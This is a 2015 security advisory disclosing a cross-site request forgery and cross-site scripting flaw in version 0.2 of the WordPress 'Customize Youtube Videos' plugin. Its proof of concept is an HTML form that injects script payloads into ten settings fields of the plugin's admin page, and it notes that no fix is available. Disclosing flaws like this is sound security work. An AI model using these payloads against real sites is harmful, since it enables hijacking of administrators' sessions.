WordPress Customize Youtube Videos 0.2 Cross Site Scripting
Posted on 03 August 2015
Title: WordPress 'Customize Youtube Videos' Plugin Version: 0.2 Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-16 Download: - https://wordpress.org/plugins/customize-youtube-videos/ - https://plugins.svn.wordpress.org/customize-youtube-videos/ Notified Vendor/WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== This plugin lets you customize the Youtube videos you are going to embed in your posts and pages ## CSRF/XSS vulnerabilities ========================================================== Customized video settings are displayed unsanitized when pressing "Get the new embed code for your customized Youtube video". PoC: Log in as admin and submit the following form <form method="POST" action="[URL]/wp-admin/admin.php?page=customize-youtube-videos"> <input type="text" name="code" value="'></iframe></textarea><script>alert(1)</script>"><br /> <input type="text" name="start" value="'></iframe></textarea><script>alert(2)</script>"><br /> <input type="text" name="end" value="'></iframe></textarea><script>alert(3)</script>"><br /> <input type="text" name="autohide" value="'></iframe></textarea><script>alert(4)</script>"><br /> <input type="text" name="autoplay" value="'></iframe></textarea><script>alert(5)</script>"><br /> <input type="text" name="cc_load_policy" value="'></iframe></textarea><script>alert(6)</script>"><br /> <input type="text" name="controls" value="'></iframe></textarea><script>alert(7)</script>"><br /> <input type="text" name="loop" value="'></iframe></textarea><script>alert(8)</script>"><br /> <input type="text" name="rel" value="'></iframe></textarea><script>alert(9)</script>"><br /> <input type="text" name="showinfo" value="'></iframe></textarea><script>alert(10)</script>"><br /> <input type="submit"> </form> ## Solution ========================================================== No fix available ========================================================== XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.